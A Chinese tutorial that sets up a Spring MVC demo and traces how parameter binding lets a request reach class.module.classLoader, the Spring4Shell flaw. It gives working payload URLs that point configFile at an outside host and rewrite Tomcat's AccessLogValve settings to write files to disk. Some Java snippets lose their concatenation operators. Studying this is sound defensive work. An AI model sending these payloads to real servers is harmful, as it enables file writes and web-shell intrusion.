环境搭建
web.xml
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--关联一个springmvc的配置文件:【servlet-name】-servlet.xml-->
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<!--启动级别-1-->
<load-on-startup>1</load-on-startup>
</servlet>
<!--/ 匹配所有的请求;(不包括.jsp)-->
<!--/* 匹配所有的请求;(包括.jsp)-->
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
springmvc-servlet.xml
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 自动扫描包,让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="com.naihe.controller"/>
<!-- 让Spring MVC不处理静态资源 -->
<mvc:default-servlet-handler />
<!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
要想使@RequestMapping注解生效
必须向上下文中注册DefaultAnnotationHandlerMapping
和一个AnnotationMethodHandlerAdapter实例
这两个实例分别在类级别和方法级别处理。
而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
<mvc:annotation-driven />
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
<!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
<!-- 后缀 -->
<property name="suffix" value=".jsp" />
</bean>
</beans>
pom.xml
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>springmvc</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.1.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.2.1.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.4</version>
</dependency>
</dependencies>
</project>
可能出现404的情况,解决方法
可能因为没用导入依赖导致的,如果没用发现lib文件夹,需要创建后添加依赖,下面是如何添加
参数绑定流程分析
Demo
user
代码语言:javascript复制package com.naihe.model;
public class User {
public String name;
public String age;
public info info;
public User(String name, String age, com.naihe.model.info info) {
this.name = name;
this.age = age;
this.info = info;
System.out.println("调用了User的有参构造");
}
public User() {
System.out.println("调用了User的无参构造");
}
public String getName() {
System.out.println("调用了User的getName");
return name;
}
public void setName(String name) {
System.out.println("调用了User的setName");
this.name = name;
}
public String getAge() {
System.out.println("调用了User的getAge");
return age;
}
public void setAge(String age) {
System.out.println("调用了User的setAge");
this.age = age;
}
public com.naihe.model.info getInfo() {
return info;
}
public void setInfo(com.naihe.model.info info) {
this.info = info;
}
@Override
public String toString() {
return "User{"
"name='" name '''
", age='" age '''
", info=" info
'}';
}
}
info
代码语言:javascript复制package com.naihe.model;
public class info {
public String QQ;
public String vx;
public info(String QQ, String vx) {
this.QQ = QQ;
this.vx = vx;
System.out.println("调用了info的有参构造");
}
public info() {
System.out.println("调用了info的无参构造");
}
public String getQQ() {
System.out.println("调用了info的getQQ");
return QQ;
}
public void setQQ(String QQ) {
System.out.println("调用了info的setQQ");
this.QQ = QQ;
}
public String getVx() {
System.out.println("调用了info的getvx");
return vx;
}
public void setVx(String vx) {
this.vx = vx;
System.out.println("调用了info的setvx");
}
@Override
public String toString() {
return "info{"
"QQ='" QQ '''
", vx='" vx '''
'}';
}
}
HelloController
代码语言:javascript复制package com.naihe.controller;
import com.naihe.model.User;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class HelloController {
@ResponseBody
@RequestMapping("/index")
public String index(User user) {
return user.toString();
}
}
访问:
代码语言:javascript复制127.0.0.1:8080/index?name=naihe&age=567&info.QQ=123&info.vx=13
在这里我们看一下给一个不存在的属性赋值会怎样:
代码语言:javascript复制127.0.0.1:8080/index?info.vx.naihe=13&info.vx.567=32
在后面调用了getvx方法两次,其实可以说明这里是按顺序进行getter方法调用,一层调一层,直到调用setter方法或调用setter方法失败
参数绑定过程
获取url中的参数
执行绑定
添加参数的值:
获取BeanWrapperImpl
给setPropertyValues赋值:
在这里循环遍历每一个propertyValues
获取到PropertyValue中的值
到目前为止还没用调用set方法
当运行到这里时
在这里已经将参数传入到了User对象
上面的Age属性不是自定义的类,下面我们来分析info
info类的参数:
再次回到setPropertyValues
获取info类的信息
后面一直跟到createDefaultPropertyValue
newValue
通过反射无参构造出info类
后面再次来到setPropertyValye,进行赋值
后面就和age分析一样就不做重复
获取request
漏洞分析:
直接在CachedIntrospectionResults.getPropertyDescriptor下端点
可以发现多缓存了一个class属性 我们不妨大胆猜测一下这个class也可控可以通过传参的方式
代码语言:javascript复制localhost:8080/index?class.123?=123
依旧是在CachedIntrospectionResults.getPropertyDescriptor下端点,直接跳到下一个光标,看是否能进入class类中
可以发现可以进入class类,下面就是class存储的属性,在这里绕过我们能控制class.classLoader就可以加载任意的类,我们在里面找一下是否存在classLoader,在这里可以发现并没有classLoader的存在,当时在jdk9及以上,里面会存在一个 module属性
查看Class类的源码,确实发现有一个module
而这个Module类存在一个ClassLoader类
这一下我们就可以利用class.module.classLoader来获取classLoader了
接下来我们进行访问
HTTP状态 404 - 未找到
存在classLoader,继续访问
代码语言:javascript复制localhost:8080/index?class.module.classLoader.123?=123
存在resources,继续访问
代码语言:javascript复制localhost:8080/index?class.module.classLoader.resources.123?=123
可以发现这里又一个context,应该就是context的上下文 继续
代码语言:javascript复制localhost:8080/index?class.module.classLoader.resources.context.123?=123
上面点开一个看看是什么类
可以看见是StandardContext,确实是上下文
代码语言:javascript复制localhost:8080/index?class.module.classLoader.resources.context.123?=123
在这里我们可用设置content的数值,但真正的目的并不是给content复制而是调用getContent方法,下面有个小Demo,至于如何调用getContent前面最开始分析的有,但是再这里我再次解释一下,当要调用一个类的属性中的类时,会先调用该属性的getter方法,因此我们只需要再content后面再随便添加一些内容就可以调用getContent方法
代码语言:javascript复制package com.naihe.controller;
import java.io.IOException;
import java.net.URL;
public class urlDemo{
public static void main(String[] args) throws IOException {
URL url = new URL("http://127.0.0.1:8000/567");
url.getContent();
}
}
利用
url请求:
context中有一个configFile属性 可以通过赋值来修改configFile的值,来生成有URL类,然后就是给URL的content属性赋值。再传入一个参数出发getContent方法
payload:
代码语言:javascript复制http://localhost:8080/index?class.module.classLoader.resources.context.configFile=http://127.0.0.1:8000/naihe567&class.module.classLoader.resources.context.configFile.content.naihe=xxx
Access日志写shell:
StandardContext继承自ContainerBase
在这里可以调用parent获取父类
下面就只分析需要覆盖那些属性的思路
看一下有哪些类使用了这个接口
这里有一个AccessLogValve类,是记录Access日志的
上面就是需要修改的属性
通过覆盖这三个属性进行修改Access日志的写入
payload:
代码语言:javascript复制localhost:8080/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=success&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.prefix=flag